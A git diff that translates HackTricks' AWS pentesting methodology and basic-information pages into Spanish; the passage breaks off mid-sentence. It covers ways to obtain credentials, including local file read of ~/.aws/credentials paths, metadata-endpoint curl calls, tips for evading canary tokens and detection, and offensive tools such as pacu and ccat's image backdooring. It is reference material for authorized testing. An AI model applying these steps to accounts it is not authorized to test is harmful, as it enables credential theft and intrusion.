../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**Antes de comenzar el pentesting** en un **AWS** ambiente, hay algunas **cosas básicas que necesitas saber** sobre cómo funciona AWS para ayudarte a entender qué necesitas hacer, cómo encontrar configuraciones incorrectas y cómo explotarlas. -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +Conceptos como la jerarquía de organización, IAM y otros conceptos básicos se explican en: {{#ref}} aws-basic-information/ {{#endref}} -## Labs to learn +## Laboratorios para aprender - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -22,49 +22,49 @@ aws-basic-information/ - [http://flaws.cloud/](http://flaws.cloud/) - [http://flaws2.cloud/](http://flaws2.cloud/) -Tools to simulate attacks: +Herramientas para simular ataques: - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodology +## Metodología de Pentester/Red Team de AWS -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +Para auditar un ambiente de AWS, es muy importante saber: qué **servicios se están utilizando**, qué está **siendo expuesto**, quién tiene **acceso** a qué, y cómo están conectados los servicios internos de AWS y los **servicios externos**. -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +Desde el punto de vista de un Red Team, el **primer paso para comprometer un ambiente de AWS** es lograr obtener algunas **credenciales**. Aquí tienes algunas ideas sobre cómo hacerlo: -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- **Filtraciones** en github (o similar) - OSINT +- **Ingeniería** Social +- Reutilización de **contraseñas** (filtraciones de contraseñas) +- Vulnerabilidades en Aplicaciones Alojadas en AWS +- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) con acceso al endpoint de metadatos +- **Lectura de Archivos Locales** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- **terceros** **comprometidos** +- Empleado **Interno** +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credenciales -Or by **compromising an unauthenticated service** exposed: +O comprometiendo un **servicio no autenticado** expuesto: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +O si estás haciendo una **revisión**, podrías simplemente **pedir credenciales** con estos roles: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> Después de haber logrado obtener credenciales, necesitas saber **a quién pertenecen esas credenciales**, y **a qué tienen acceso**, así que necesitas realizar alguna enumeración básica: -## Basic Enumeration +## Enumeración Básica ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +Si encontraste un SSRF en una máquina dentro de AWS, revisa esta página para trucos: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +Una de las primeras cosas que necesitas saber es quién eres (en qué cuenta estás y otra información sobre el ambiente de AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> Tenga en cuenta que las empresas pueden usar **canary tokens** para identificar cuándo **se están robando y utilizando tokens**. Se recomienda verificar si un token es un canary token o no antes de usarlo.\ +> Para más información [**ver esta página**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). -### Org Enumeration +### Enumeración de Org {{#ref}} aws-services/aws-organizations-enum.md {{#endref}} -### IAM Enumeration +### Enumeración de IAM -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +Si tiene suficientes permisos, **verificar los privilegios de cada entidad dentro de la cuenta de AWS** le ayudará a entender qué puede hacer usted y otras identidades y cómo **escalar privilegios**. -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +Si no tiene suficientes permisos para enumerar IAM, puede **robarlos mediante fuerza bruta** para averiguarlos.\ +Verifique **cómo realizar la enumeración y la fuerza bruta** en: {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> Ahora que **tiene algo de información sobre sus credenciales** (y si es un equipo rojo, espero que **no haya sido detectado**). Es hora de averiguar qué servicios se están utilizando en el entorno.\ +> En la siguiente sección puede verificar algunas formas de **enumerar algunos servicios comunes.** -## Services Enumeration, Post-Exploitation & Persistence +## Enumeración de Servicios, Post-Explotación y Persistencia -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWS tiene una asombrosa cantidad de servicios, en la siguiente página encontrará **información básica, enumeración** cheatsheets\*\*,\*\* cómo **evitar la detección**, obtener **persistencia** y otros trucos de **post-explotación** sobre algunos de ellos: {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +Tenga en cuenta que **no** necesita realizar todo el trabajo **manualmente**, a continuación en esta publicación puede encontrar una **sección sobre** [**herramientas automáticas**](./#automated-tools). -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +Además, en esta etapa puede haber descubierto **más servicios expuestos a usuarios no autenticados**, podría ser capaz de explotarlos: {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -## Privilege Escalation +## Escalación de Privilegios -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +Si puede **ver al menos sus propios permisos** sobre diferentes recursos, podría **verificar si puede obtener más permisos**. Debería centrarse al menos en los permisos indicados en: {{#ref}} aws-privilege-escalation/ {{#endref}} -## Publicly Exposed Services +## Servicios Expuestos Públicamente -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +Mientras enumera los servicios de AWS, puede haber encontrado algunos de ellos **exponiendo elementos a Internet** (puertos de VM/Contenedores, bases de datos o servicios de cola, instantáneas o buckets...).\ +Como pentester/equipo rojo, siempre debe verificar si puede encontrar **información sensible / vulnerabilidades** en ellos, ya que podrían proporcionarle **más acceso a la cuenta de AWS**. -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +En este libro debería encontrar **información** sobre cómo encontrar **servicios de AWS expuestos y cómo verificarlos**. Sobre cómo encontrar **vulnerabilidades en servicios de red expuestos**, le recomendaría **buscar** el **servicio** específico en: {{#ref}} https://book.hacktricks.xyz/ {{#endref}} -## Compromising the Organization +## Comprometiendo la Organización -### From the root/management account +### Desde la cuenta raíz/administrativa -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +Cuando la cuenta de administración crea nuevas cuentas en la organización, se crea un **nuevo rol** en la nueva cuenta, llamado por defecto **`OrganizationAccountAccessRole`** y otorgando la política de **AdministratorAccess** a la **cuenta de administración** para acceder a la nueva cuenta.
-So, in order to access as administrator a child account you need: +Por lo tanto, para acceder como administrador a una cuenta secundaria, necesita: -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **Comprometer** la **cuenta de administración** y encontrar el **ID** de las **cuentas secundarias** y los **nombres** del **rol** (OrganizationAccountAccessRole por defecto) que permite a la cuenta de administración acceder como administrador. +- Para encontrar cuentas secundarias, vaya a la sección de organizaciones en la consola de aws o ejecute `aws organizations list-accounts` +- No puede encontrar el nombre de los roles directamente, así que verifique todas las políticas IAM personalizadas y busque cualquier que permita **`sts:AssumeRole` sobre las cuentas secundarias descubiertas previamente**. +- **Comprometer** un **principal** en la cuenta de administración con **permiso `sts:AssumeRole` sobre el rol en las cuentas secundarias** (incluso si la cuenta permite que cualquiera de la cuenta de administración se impersonifique, como es una cuenta externa, son necesarios permisos específicos de `sts:AssumeRole`). -## Automated Tools +## Herramientas Automatizadas ### Recon -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. - +- [**aws-recon**](https://github.com/darkbitio/aws-recon): Una herramienta de **colección de inventario** enfocada en la seguridad de AWS, multihilo, escrita en Ruby. ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist es una **herramienta multi-nube para obtener Activos** (Nombres de host, Direcciones IP) de Proveedores de Nube. +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper te ayuda a analizar tus entornos de Amazon Web Services (AWS). Ahora contiene mucha más funcionalidad, incluyendo auditoría para problemas de seguridad. ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartography es una herramienta de Python que consolida los activos de infraestructura y las relaciones entre ellos en una vista gráfica intuitiva impulsada por una base de datos Neo4j. ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase recopila activos y relaciones de servicios y sistemas, incluyendo infraestructura en la nube, aplicaciones SaaS, controles de seguridad y más en una vista gráfica intuitiva respaldada por la base de datos Neo4j. +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta es una herramienta que intenta **descubrir todos** los [**recursos de AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) creados en una cuenta. +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Es una herramienta para **obtener todas las direcciones IP públicas** (tanto IPv4/IPv6) asociadas con una cuenta de AWS. ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubre los usuarios más privilegiados en el entorno de AWS escaneado, incluyendo los AWS Shadow Admins. Utiliza powershell. Puedes encontrar la **definición de políticas privilegiadas** en la función **`Check-PrivilegedPolicy`** en [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu es un **framework de explotación de AWS** de código abierto, diseñado para pruebas de seguridad ofensivas contra entornos en la nube. Puede **enumerar**, encontrar **configuraciones incorrectas** y **explotarlas**. Puedes encontrar la **definición de permisos privilegiados** en [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro del diccionario **`user_escalation_methods`**. +- Ten en cuenta que pacu **solo verifica tus propios caminos de privesc** (no a nivel de cuenta). ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) es un script y biblioteca para identificar riesgos en la configuración de AWS Identity and Access Management (IAM) para una cuenta de AWS o una organización de AWS. Modela los diferentes Usuarios y Roles de IAM en una cuenta como un grafo dirigido, lo que permite verificar la **escalada de privilegios** y los caminos alternativos que un atacante podría tomar para obtener acceso a un recurso o acción en AWS. Puedes verificar los **permisos utilizados para encontrar caminos de privesc** en los nombres de archivo que terminan en `_edges.py` en [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining es una herramienta de evaluación de seguridad de AWS IAM que identifica violaciones del principio de menor privilegio y genera un informe HTML priorizado por riesgo.\ +Mostrará los clientes **sobre privilegiados** potencialmente, las **políticas** en línea y de aws, y qué **principales tienen acceso a ellas**. (No solo verifica el privesc, sino también otros tipos de permisos interesantes, se recomienda su uso). ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack evalúa cuentas de AWS en busca de **vulnerabilidades de secuestro de subdominios** como resultado de configuraciones desacopladas de Route53 y CloudFront. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositorios ECR -> Extraer repositorio ECR -> Insertar puerta trasera -> Subir imagen con puerta trasera +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag es una herramienta que **busca** a través de instantáneas públicas de Elastic Block Storage (**EBS**) en busca de secretos que pueden haber sido dejados accidentalmente. -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. - -### Audit - -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). +### Auditoría +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit de Aqua es un proyecto de código abierto diseñado para permitir la detección de **riesgos de seguridad en cuentas de infraestructura en la nube**, incluyendo: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) y GitHub (no busca ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler es una herramienta de seguridad de código abierto para realizar evaluaciones de las mejores prácticas de seguridad de AWS, auditorías, respuesta a incidentes, monitoreo continuo, endurecimiento y preparación forense. ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox te ayuda a obtener conciencia situacional en entornos de nube desconocidos. Es una herramienta de línea de comandos de código abierto creada para ayudar a los pentesters y otros profesionales de la seguridad ofensiva a encontrar rutas de ataque explotables en la infraestructura de la nube. ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite es una herramienta de auditoría de seguridad multi-nube de código abierto, que permite la evaluación de la postura de seguridad de los entornos en la nube. ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (usa python2.7 y parece no estar mantenido) +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus es una herramienta poderosa para las mejores prácticas de endurecimiento de AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (parece no estar mantenida). Solo verifica las credenciales configuradas por defecto dentro del sistema. -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### Auditoría Constante -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian es un motor de reglas para gestionar cuentas y recursos de nube pública. Permite a los usuarios **definir políticas para habilitar una infraestructura de nube bien gestionada**, que sea segura y optimizada en costos. Consolida muchos de los scripts ad-hoc que las organizaciones tienen en una herramienta ligera y flexible, con métricas y reportes unificados. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** es una plataforma para **monitoreo continuo de cumplimiento, reportes de cumplimiento y automatización de seguridad para la nube**. En PacBot, las políticas de seguridad y cumplimiento se implementan como código. Todos los recursos descubiertos por PacBot son evaluados contra estas políticas para medir la conformidad con las políticas. El marco de **auto-fix** de PacBot proporciona la capacidad de responder automáticamente a violaciones de políticas tomando acciones predefinidas. +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert es un marco de análisis de datos **en tiempo real** sin servidor que te permite **ingresar, analizar y alertar** sobre datos de cualquier entorno, **usando fuentes de datos y lógica de alertas que defines**. Los equipos de seguridad informática utilizan StreamAlert para escanear terabytes de datos de registro todos los días para la detección y respuesta a incidentes. +## DEBUG: Capturar solicitudes de AWS cli ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## Referencias - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..31d9f1421 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,331 +1,313 @@ -# AWS - Basic Information +# AWS - Información Básica {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## Jerarquía de Organización ![](<../../../images/image (151).png>) -### Accounts +### Cuentas -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +En AWS hay una **cuenta raíz**, que es el **contenedor principal para todas las cuentas** de tu **organización**. Sin embargo, no necesitas usar esa cuenta para desplegar recursos, puedes crear **otras cuentas para separar diferentes infraestructuras de AWS** entre ellas. -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +Esto es muy interesante desde el punto de vista de la **seguridad**, ya que **una cuenta no podrá acceder a los recursos de otra cuenta** (excepto si se crean puentes específicamente), de esta manera puedes crear límites entre los despliegues. -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +Por lo tanto, hay **dos tipos de cuentas en una organización** (estamos hablando de cuentas de AWS y no de cuentas de usuario): una única cuenta que se designa como la cuenta de gestión, y una o más cuentas miembro. -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- La **cuenta de gestión (la cuenta raíz)** es la cuenta que usas para crear la organización. Desde la cuenta de gestión de la organización, puedes hacer lo siguiente: - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- Crear cuentas en la organización +- Invitar a otras cuentas existentes a la organización +- Eliminar cuentas de la organización +- Gestionar invitaciones +- Aplicar políticas a entidades (raíces, OUs o cuentas) dentro de la organización +- Habilitar la integración con servicios de AWS compatibles para proporcionar funcionalidad de servicio en todas las cuentas de la organización. +- Es posible iniciar sesión como el usuario raíz utilizando el correo electrónico y la contraseña utilizados para crear esta cuenta raíz/organización. - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +La cuenta de gestión tiene las **responsabilidades de una cuenta pagadora** y es responsable de pagar todos los cargos que son acumulados por las cuentas miembro. No puedes cambiar la cuenta de gestión de una organización. +- Las **cuentas miembro** constituyen el resto de las cuentas en una organización. Una cuenta puede ser miembro de solo una organización a la vez. Puedes adjuntar una política a una cuenta para aplicar controles solo a esa cuenta. +- Las cuentas miembro **deben usar una dirección de correo electrónico válida** y pueden tener un **nombre**, en general no podrán gestionar la facturación (pero podrían recibir acceso a ella). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **Unidades de Organización** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +Las cuentas pueden agruparse en **Unidades de Organización (OU)**. De esta manera, puedes crear **políticas** para la Unidad de Organización que se van a **aplicar a todas las cuentas hijas**. Ten en cuenta que una OU puede tener otras OUs como hijas. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` - ### Service Control Policy (SCP) -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. +Una **política de control de servicio (SCP)** es una política que especifica los servicios y acciones que los usuarios y roles pueden usar en las cuentas que la SCP afecta. Las SCP son **similares a las políticas de permisos de IAM** excepto que **no otorgan ningún permiso**. En cambio, las SCP especifican los **permisos máximos** para una organización, unidad organizativa (OU) o cuenta. Cuando adjuntas una SCP a la raíz de tu organización o a una OU, la **SCP limita los permisos para las entidades en las cuentas miembros**. -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +Esta es la ÚNICA forma en que **incluso el usuario raíz puede ser detenido** de hacer algo. Por ejemplo, podría usarse para evitar que los usuarios desactiven CloudTrail o eliminen copias de seguridad.\ +La única forma de eludir esto es comprometer también la **cuenta maestra** que configura las SCP (la cuenta maestra no puede ser bloqueada). > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts 